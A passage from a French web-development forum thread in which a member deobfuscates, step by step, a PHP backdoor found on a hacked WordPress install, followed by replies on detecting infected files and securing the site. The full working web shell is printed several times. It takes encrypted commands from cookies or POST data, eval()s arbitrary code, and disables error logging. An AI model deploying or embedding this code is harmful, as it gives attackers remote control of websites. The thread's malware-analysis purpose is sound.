    $mc43[$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][52]] = $mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][93];
    $mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][84]] = $mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][52];
    $mc43[$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][92]] = $mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][67];
    $mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][8]] = $_POST;
    $mc43[$mc43['zd53d2ffa'][4].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][56]] = $_COOKIE;
    @$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]($mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][24],NULL);
    @$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]($mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][24].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][18],0);
    @$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]($mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][31].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][31].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][15].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][82].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][41],0);
    @$mc43[$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][52]](0);
    $ncdc79ac = NULL;
    $mbfde3a6 = NULL;
    $mc43[$mc43['zd53d2ffa'][22].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][84]] = $mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][29].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][92];
    global $v551;
     
    function c14ca38($ncdc79ac, $fd82) {
      global $mc43;
      $i9acb = "";
      for ($dd81e56 = 0; $dd81e56 < $mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]($ncdc79ac); ) {
        for ($e7dae = 0; $e7dae < $mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]($fd82) && $dd81e56 < $mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]($ncdc79ac); $e7dae++,$dd81e56++) {
          $i9acb .= $mc43[$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][56]]($mc43[$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][84]]($ncdc79ac[$dd81e56]) ^ $mc43[$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][84]]($fd82[$e7dae]));
        }
      }
      return $i9acb;
    }
     
    function maa3a05($ncdc79ac, $fd82) {
      global $mc43;
      global $v551;
      return $mc43[$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][92]]($mc43[$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][92]]($ncdc79ac,$v551),$fd82);
    }
     
    foreach ($mc43[$mc43['zd53d2ffa'][4].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][56]] as $fd82 => $r28859fa8) {
      $ncdc79ac = $r28859fa8;
      $mbfde3a6 = $fd82;
    }
     
    if (!$ncdc79ac) {
      foreach ($mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][8]] as $fd82 => $r28859fa8) {
        $ncdc79ac = $r28859fa8;
        $mbfde3a6 = $fd82;
      }
    }
     
    $ncdc79ac = @$mc43[$mc43['zd53d2ffa'][39].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30]]($mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][84]]($mc43[$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][1]]($ncdc79ac),$mbfde3a6));
     
    if (isset($ncdc79ac[$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][39]]) && $v551 == $ncdc79ac[$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][39]]) {
      if ($ncdc79ac[$mc43['zd53d2ffa'][32]] == $mc43['zd53d2ffa'][27]) {
        $dd81e56 = Array(
          $mc43['zd53d2ffa'][61].$mc43['zd53d2ffa'][22] => @$mc43[$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][29].$mc43['zd53d2ffa'][56]](),
          $mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][22] => $mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][88].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][84],
        );
        echo @$mc43[$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][84]]($dd81e56);
      }
      elseif ($ncdc79ac[$mc43['zd53d2ffa'][32]] == $mc43['zd53d2ffa'][41]) {
        eval/*id63b40*/($ncdc79ac[$mc43['zd53d2ffa'][8]]);
      }
      exit();
    }
    ?>
    On voit une utilisation massive de la variable $mc43 qui est un tableau, et en particulier de son élément $mc43['zd53d2ffa'] qui fait office d’espace de noms pour toutes les autres variables du script. Notons également que $mc43 est équivalent à l’espace global des variables du script grâce à l’instruction $mc43 = $GLOBALS;.

    Il est intéressant de remplacer toutes les occurences de $mc43['zd53d2ffa'] par un nom un peu plus lisible, disons $bidule, pour améliorer (légèrement) notre compréhension du code.
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    <?php
    $g16c351 = 842;
    $GLOBALS['mc43'] = Array();
    global $mc43;
    $mc43 = $GLOBALS;
    ${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa'] = "\x3d\x39\x3e\xa\x71\x50\x4d\x4a\x64\x40\x42\x24\x5a\x23\x7e\x75\x2f\x44\x73\x53\x3a\x27\x76\x7c\x67\x7a\x4c\x69\x6d\x32\x66\x78\x61\x68\x46\x63\x2c\x2a\x29\x6b\x22\x65\x56\x72\x55\x48\x6c\x5c\x58\x51\x25\x9\x35\xd\x6a\x3b\x34\x5d\x43\x77\x4f\x70\x60\x49\x2b\x79\x54\x38\x57\x6f\x45\x5f\x3c\x41\x59\x5b\x5e\x28\x3f\x7b\x36\x4e\x6e\x33\x31\x26\x2d\x4b\x2e\x20\x37\x30\x62\x74\x21\x7d\x52\x47";
    $mc43[$bidule[33].$bidule[91].$bidule[83].$bidule[91].$bidule[67].$bidule[1].$bidule[32].$bidule[1].$bidule[56]] = $bidule[35].$bidule[33].$bidule[43];
    $mc43[$bidule[8].$bidule[91].$bidule[84].$bidule[67].$bidule[84]] = $bidule[69].$bidule[43].$bidule[8];
    $mc43[$bidule[59].$bidule[35].$bidule[41].$bidule[90].$bidule[80].$bidule[90]] = $bidule[18].$bidule[93].$bidule[43].$bidule[46].$bidule[41].$bidule[82];
    $mc43[$bidule[25].$bidule[8].$bidule[8].$bidule[92].$bidule[80].$bidule[30]] = $bidule[27].$bidule[82].$bidule[27].$bidule[71].$bidule[18].$bidule[41].$bidule[93];
    $mc43[$bidule[28].$bidule[52].$bidule[32].$bidule[1].$bidule[30].$bidule[84].$bidule[84]] = $bidule[18].$bidule[41].$bidule[43].$bidule[27].$bidule[32].$bidule[46].$bidule[27].$bidule[25].$bidule[41];
    $mc43[$bidule[18].$bidule[1].$bidule[84].$bidule[56].$bidule[92].$bidule[41].$bidule[67].$bidule[29].$bidule[56]] = $bidule[61].$bidule[33].$bidule[61].$bidule[22].$bidule[41].$bidule[43].$bidule[18].$bidule[27].$bidule[69].$bidule[82];
    $mc43[$bidule[39].$bidule[32].$bidule[67].$bidule[83].$bidule[80].$bidule[52].$bidule[92].$bidule[30]] = $bidule[15].$bidule[82].$bidule[18].$bidule[41].$bidule[43].$bidule[27].$bidule[32].$bidule[46].$bidule[27].$bidule[25].$bidule[41];
    $mc43[$bidule[92].$bidule[30].$bidule[30].$bidule[32].$bidule[83].$bidule[80].$bidule[41].$bidule[1]] = $bidule[92].$bidule[32].$bidule[18].$bidule[41].$bidule[80].$bidule[56].$bidule[71].$bidule[8].$bidule[41].$bidule[35].$bidule[69].$bidule[8].$bidule[41];
    $mc43[$bidule[93].$bidule[32].$bidule[83].$bidule[56].$bidule[32].$bidule[52].$bidule[67].$bidule[52]] = $bidule[18].$bidule[41].$bidule[93].$bidule[71].$bidule[93].$bidule[27].$bidule[28].$bidule[41].$bidule[71].$bidule[46].$bidule[27].$bidule[28].$bidule[27].$bidule[93];
    $mc43[$bidule[59].$bidule[56].$bidule[32].$bidule[84]] = $bidule[28].$bidule[32].$bidule[32].$bidule[83].$bidule[32].$bidule[91].$bidule[52];
    $mc43[$bidule[43].$bidule[92].$bidule[80].$bidule[41].$bidule[92]] = $bidule[35].$bidule[84].$bidule[56].$bidule[35].$bidule[32].$bidule[83].$bidule[67];
    $mc43[$bidule[25].$bidule[92].$bidule[8].$bidule[30].$bidule[8]] = $_POST;
    $mc43[$bidule[4].$bidule[90].$bidule[1].$bidule[8].$bidule[80].$bidule[67].$bidule[56]] = $_COOKIE;
    @$mc43[$bidule[25].$bidule[8].$bidule[8].$bidule[92].$bidule[80].$bidule[30]]($bidule[41].$bidule[43].$bidule[43].$bidule[69].$bidule[43].$bidule[71].$bidule[46].$bidule[69].$bidule[24],NULL);
    @$mc43[$bidule[25].$bidule[8].$bidule[8].$bidule[92].$bidule[80].$bidule[30]]($bidule[46].$bidule[69].$bidule[24].$bidule[71].$bidule[41].$bidule[43].$bidule[43].$bidule[69].$bidule[43].$bidule[18],0);
    @$mc43[$bidule[25].$bidule[8].$bidule[8].$bidule[92].$bidule[80].$bidule[30]]($bidule[28].$bidule[32].$bidule[31].$bidule[71].$bidule[41].$bidule[31].$bidule[41].$bidule[35].$bidule[15].$bidule[93].$bidule[27].$bidule[69].$bidule[82].$bidule[71].$bidule[93].$bidule[27].$bidule[28].$bidule[41],0);
    @$mc43[$bidule[93].$bidule[32].$bidule[83].$bidule[56].$bidule[32].$bidule[52].$bidule[67].$bidule[52]](0);
    $ncdc79ac = NULL;
    $mbfde3a6 = NULL;
    $mc43[$bidule[22].$bidule[52].$bidule[52].$bidule[84]] = $bidule[41].$bidule[35].$bidule[67].$bidule[91].$bidule[56].$bidule[67].$bidule[8].$bidule[67].$bidule[86].$bidule[91].$bidule[90].$bidule[35].$bidule[84].$bidule[86].$bidule[56].$bidule[91].$bidule[29].$bidule[83].$bidule[86].$bidule[32].$bidule[90].$bidule[56].$bidule[67].$bidule[86].$bidule[90].$bidule[56].$bidule[32].$bidule[83].$bidule[1].$bidule[67].$bidule[90].$bidule[41].$bidule[91].$bidule[52].$bidule[83].$bidule[92];
    global $v551;
     
    function c14ca38($ncdc79ac, $fd82) {
      global $mc43;
      $i9acb = "";
      for ($dd81e56 = 0; $dd81e56 < $mc43[$bidule[59].$bidule[35].$bidule[41].$bidule[90].$bidule[80].$bidule[90]]($ncdc79ac); ) {
        for ($e7dae = 0; $e7dae < $mc43[$bidule[59].$bidule[35].$bidule[41].$bidule[90].$bidule[80].$bidule[90]]($fd82) && $dd81e56 < $mc43[$bidule[59].$bidule[35].$bidule[41].$bidule[90].$bidule[80].$bidule[90]]($ncdc79ac); $e7dae++,$dd81e56++) {
          $i9acb .= $mc43[$bidule[33].$bidule[91].$bidule[83].$bidule[91].$bidule[67].$bidule[1].$bidule[32].$bidule[1].$bidule[56]]($mc43[$bidule[8].$bidule[91].$bidule[84].$bidule[67].$bidule[84]]($ncdc79ac[$dd81e56]) ^ $mc43[$bidule[8].$bidule[91].$bidule[84].$bidule[67].$bidule[84]]($fd82[$e7dae]));
        }
      }
      return $i9acb;
    }
     
    function maa3a05($ncdc79ac, $fd82) {
      global $mc43;
      global $v551;
      return $mc43[$bidule[43].$bidule[92].$bidule[80].$bidule[41].$bidule[92]]($mc43[$bidule[43].$bidule[92].$bidule[80].$bidule[41].$bidule[92]]($ncdc79ac,$v551),$fd82);
    }
     
    foreach ($mc43[$bidule[4].$bidule[90].$bidule[1].$bidule[8].$bidule[80].$bidule[67].$bidule[56]] as $fd82 => $r28859fa8) {
      $ncdc79ac = $r28859fa8;
      $mbfde3a6 = $fd82;
    }
     
    if (!$ncdc79ac) {
      foreach ($mc43[$bidule[25].$bidule[92].$bidule[8].$bidule[30].$bidule[8]] as $fd82 => $r28859fa8) {
        $ncdc79ac = $r28859fa8;
        $mbfde3a6 = $fd82;
      }
    }
     
    $ncdc79ac = @$mc43[$bidule[39].$bidule[32].$bidule[67].$bidule[83].$bidule[80].$bidule[52].$bidule[92].$bidule[30]]($mc43[$bidule[59].$bidule[56].$bidule[32].$bidule[84]]($mc43[$bidule[92].$bidule[30].$bidule[30].$bidule[32].$bidule[83].$bidule[80].$bidule[41].$bidule[1]]($ncdc79ac),$mbfde3a6));
     
    if (isset($ncdc79ac[$bidule[32].$bidule[39]]) && $v551 == $ncdc79ac[$bidule[32].$bidule[39]]) {
      if ($ncdc79ac[$bidule[32]] == $bidule[27]) {
        $dd81e56 = Array(
          $bidule[61].$bidule[22] => @$mc43[$bidule[18].$bidule[1].$bidule[84].$bidule[56].$bidule[92].$bidule[41].$bidule[67].$bidule[29].$bidule[56]](),
          $bidule[18].$bidule[22] => $bidule[84].$bidule[88].$bidule[91].$bidule[86].$bidule[84],
        );
        echo @$mc43[$bidule[28].$bidule[52].$bidule[32].$bidule[1].$bidule[30].$bidule[84].$bidule[84]]($dd81e56);
      }
      elseif ($ncdc79ac[$bidule[32]] == $bidule[41]) {
        eval/*id63b40*/($ncdc79ac[$bidule[8]]);
      }
      exit();
    }
    ?>
    À présent, décodons les chaînes hexadécimales. Un simple echo suffit.
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    "\x47\x4c\x4fB\x41\x4c\x53" -> "GLOBALS"
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    "\x3d\x39\x3e\xa\x71\x50\x4d\x4a\x64\x40\x42\x24\x5a\x23\x7e\x75\x2f\x44\x73\x53\x3a\x27\x76\x7c\x67\x7a\x4c\x69\x6d\x32\x66\x78\x61\x68\x46\x63\x2c\x2a\x29\x6b\x22\x65\x56\x72\x55\x48\x6c\x5c\x58\x51\x25\x9\x35\xd\x6a\x3b\x34\x5d\x43\x77\x4f\x70\x60\x49\x2b\x79\x54\x38\x57\x6f\x45\x5f\x3c\x41\x59\x5b\x5e\x28\x3f\x7b\x36\x4e\x6e\x33\x31\x26\x2d\x4b\x2e\x20\x37\x30\x62\x74\x21\x7d\x52\x47"
    -> "=9>\nqPMJd@B$Z#~u/DsS:'v|gzLim2fxahFc,*)k\"eVrUHl\\XQ%\t5
    j;4]CwOp`I+yT8WoE_<AY[^(?{6Nn31&-K. 70bt!}RG"
    On comprend que $GLOBALS['zd53d2ffa'], alias $mc43['zd53d2ffa'], alias $zd53d2ffa, alias $bidule, est une sorte de table de caractères dans laquelle le script va piocher pour construire différents noms de variables.

    À ce stade, nous pouvons remplacer les occurences de $bidule[ ... ] par les valeurs correspondantes.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    <?php
    $g16c351 = 842;
    $GLOBALS['mc43'] = Array();
    global $mc43;
    $mc43 = $GLOBALS;
    ${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa'] = "\x3d\x39\x3e\xa\x71\x50\x4d\x4a\x64\x40\x42\x24\x5a\x23\x7e\x75\x2f\x44\x73\x53\x3a\x27\x76\x7c\x67\x7a\x4c\x69\x6d\x32\x66\x78\x61\x68\x46\x63\x2c\x2a\x29\x6b\x22\x65\x56\x72\x55\x48\x6c\x5c\x58\x51\x25\x9\x35\xd\x6a\x3b\x34\x5d\x43\x77\x4f\x70\x60\x49\x2b\x79\x54\x38\x57\x6f\x45\x5f\x3c\x41\x59\x5b\x5e\x28\x3f\x7b\x36\x4e\x6e\x33\x31\x26\x2d\x4b\x2e\x20\x37\x30\x62\x74\x21\x7d\x52\x47";
    $mc43['h03089a94'] = 'chr';
    $mc43['d0181'] = 'ord';
    $mc43['wce767'] = 'strlen';
    $mc43['zddb6f'] = 'ini_set';
    $mc43['m5a9f11'] = 'serialize';
    $mc43['s914be824'] = 'phpversion';
    $mc43['ka8365bf'] = 'unserialize';
    $mc43['bffa36e9'] = 'base64_decode';
    $mc43['ta34a585'] = 'set_time_limit';
    $mc43['w4a1'] = 'maa3a05';
    $mc43['rb6eb'] = 'c14ca38';
    $mc43['zbdfd'] = $_POST;
    $mc43['q79d684'] = $_COOKIE;
    @$mc43['zddb6f']('error_log',NULL);
    @$mc43['zddb6f']('log_errors',0);
    @$mc43['zddb6f']('max_execution_time',0);
    @$mc43['ta34a585'](0);
    $ncdc79ac = NULL;
    $mbfde3a6 = NULL;
    $mc43['v551'] = 'ec8048d8-07c1-4023-a748-74a3987e053b';
    global $v551;
     
    function c14ca38($ncdc79ac, $fd82) {
      global $mc43;
      $i9acb = "";
      for ($dd81e56 = 0; $dd81e56 < $mc43['wce767']($ncdc79ac); ) {
        for ($e7dae = 0; $e7dae < $mc43['wce767']($fd82) && $dd81e56 < $mc43['wce767']($ncdc79ac); $e7dae++,$dd81e56++) {
          $i9acb .= $mc43['h03089a94']($mc43['d0181']($ncdc79ac[$dd81e56]) ^ $mc43['d0181']($fd82[$e7dae]));
        }
      }
      return $i9acb;
    }
     
    function maa3a05($ncdc79ac, $fd82) {
      global $mc43;
      global $v551;
      return $mc43['rb6eb']($mc43['rb6eb']($ncdc79ac,$v551),$fd82);
    }
     
    foreach ($mc43['q79d684'] as $fd82 => $r28859fa8) {
      $ncdc79ac = $r28859fa8;
      $mbfde3a6 = $fd82;
    }
     
    if (!$ncdc79ac) {
      foreach ($mc43['zbdfd'] as $fd82 => $r28859fa8) {
        $ncdc79ac = $r28859fa8;
        $mbfde3a6 = $fd82;
      }
    }
     
    $ncdc79ac = @$mc43['ka8365bf']($mc43['w4a1']($mc43['bffa36e9']($ncdc79ac),$mbfde3a6));
     
    if (isset($ncdc79ac['ak']) && $v551 == $ncdc79ac['ak']) {
      if ($ncdc79ac['a'] == 'i') {
        $dd81e56 = Array(
          'pv' => @$mc43['s914be824'](),
          'sv' => '1.0-1',
        );
        echo @$mc43['m5a9f11']($dd81e56);
      }
      elseif ($ncdc79ac['a'] == 'e') {
        eval/*id63b40*/($ncdc79ac['d']);
      }
      exit();
    }
    ?>
    Regardons à présent les premières lignes $mc43[ ... ] = .... Les parties de gauche créent des noms de variables imbitables et ne sont pas très intéressantes. Cependant, les parties de droite nous donnent des informations importantes, par exemple chr : c̛’est une fonction de PHP qui transforme un code ASCII en caractère.

    Parmi les autres noms de fonctions construits de cette manière, on trouve :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    ord
    strlen
    ini_set
    serialize
    phpversion
    unserialize
    base64_decode
    set_time_limit
    Je te laisse te référer à la documentation pour connaître leurs utilités respectives.

    En particulier, on observe peu après des appels à ini_set et set_time_limit ayant pour but de désactiver la journalisation des erreurs (pour rendre l’activité malveillante plus difficile à détecter) et de désactiver la limite de temps d’exécution des scripts PHP.

    Je pourrais continuer à substituer les noms obfusqués par les valeurs correspondantes, mais je pense que tu as compris le principe et que tu peux continuer toi-même. Comme tu peux le voir, déchiffrer un script obfusqué est long et fastidieux, c’est fait pour ça Mais avec suffisamment de temps et de motivation, on y arrive.
    La FAQ JavaScript – Les cours JavaScript
    Touche F12 = la console → l’outil indispensable pour développer en JavaScript !

  11. #11
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Merci beaucoup d'avoir pris le temps.
    Ta description et tes explications sont vraiment très intéressantes.

  12. #12
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Bonjour,

    J'aurai 2 questions complémentaires :

    ==> Existe t il une solution / un plugin WP pour repérer les fichiers vérolés ?

    ==> J'ai installé le plugin "All In One WP Security". Selon vous, permet il de se prémunir de ce genre d'attaque ?


    PS : pour info, mon instal WP a dû être attaquée car, s'agissant d'un WP installé sur un nouveau nom de domaine (donc pas encore connu / référencée), j'avais naïvement pas sécurisé le mot de passe du compte Admin.

  13. #13
    Expert éminent
    Avatar de Watilin
    Homme Profil pro
    En recherche d'emploi
    Inscrit en
    Juin 2010
    Messages
    3 093
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 35
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activité : En recherche d'emploi

    Informations forums :
    Inscription : Juin 2010
    Messages : 3 093
    Points : 6 754
    Points
    6 754
    Par défaut
    Citation Envoyé par jerem_orga Voir le message
    ==> Existe t il une solution / un plugin WP pour repérer les fichiers vérolés ?
    Comme tu as fait, un diff avec une installation fraîche. Mais sinon, les outils d’OVH ont été conçus dans ce but, et il semblerait que, dans ton cas, ils ont bien fait leur boulot.

    ==> J'ai installé le plugin "All In One WP Security". Selon vous, permet il de se prémunir de ce genre d'attaque ?
    Aucune idée Mais je ne crois pas qu’un plugin soit une solution magique, et surtout pas une excuse pour ne pas apprendre les bases de la sécurité et adopter les bons réflexes.


    PS : pour info, mon instal WP a dû être attaquée car, s'agissant d'un WP installé sur un nouveau nom de domaine (donc pas encore connu / référencée), j'avais naïvement pas sécurisé le mot de passe du compte Admin.
    Ça avait une très forte probabilité d’arriver. Dès lors que quelque chose est accessible sur Internet, tu peux être sûr que des milliers de bots y testent toutes les vulnérabilités connues. C’est pour ça qu’il est important de tenir son installation à jour.
    La FAQ JavaScript – Les cours JavaScript
    Touche F12 = la console → l’outil indispensable pour développer en JavaScript !

  14. #14
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Merci pour ton retour.


    Citation Envoyé par Watilin Voir le message
    ... Mais sinon, les outils d’OVH ont été conçus dans ce but, et il semblerait que, dans ton cas, ils ont bien fait leur boulot.
    En effet.

    J'ajouterai qu'il semble tout de même laisser passer des choses.
    J'ai donc TOUT effacé pour repartir sur une base propre.
    Et là je me rends compte qu'il y a un fichier étrange ... que je ne peux ni lire ni effacer.
    J'ai demandé à OVH d'effacer pour moi.
    Etrange qu'il ne l'ait pas repéré. Maintenant, à l'heure actuelle, je ne sais pas encore ce qu'il y a dans ce fichier.


    Citation Envoyé par Watilin Voir le message
    ... apprendre les bases de la sécurité et adopter les bons réflexes.
    Mis à part de la lecture sur des plugin qui permettent de sécuriser le blog WP, je dois avouer ne pas encore lu de tuto généraux sur le sujet de la sécurité.
    Aurais tu un lien présentant le sujet ... sans rentrer trop dans le détail ?

  15. #15
    Expert éminent
    Avatar de Watilin
    Homme Profil pro
    En recherche d'emploi
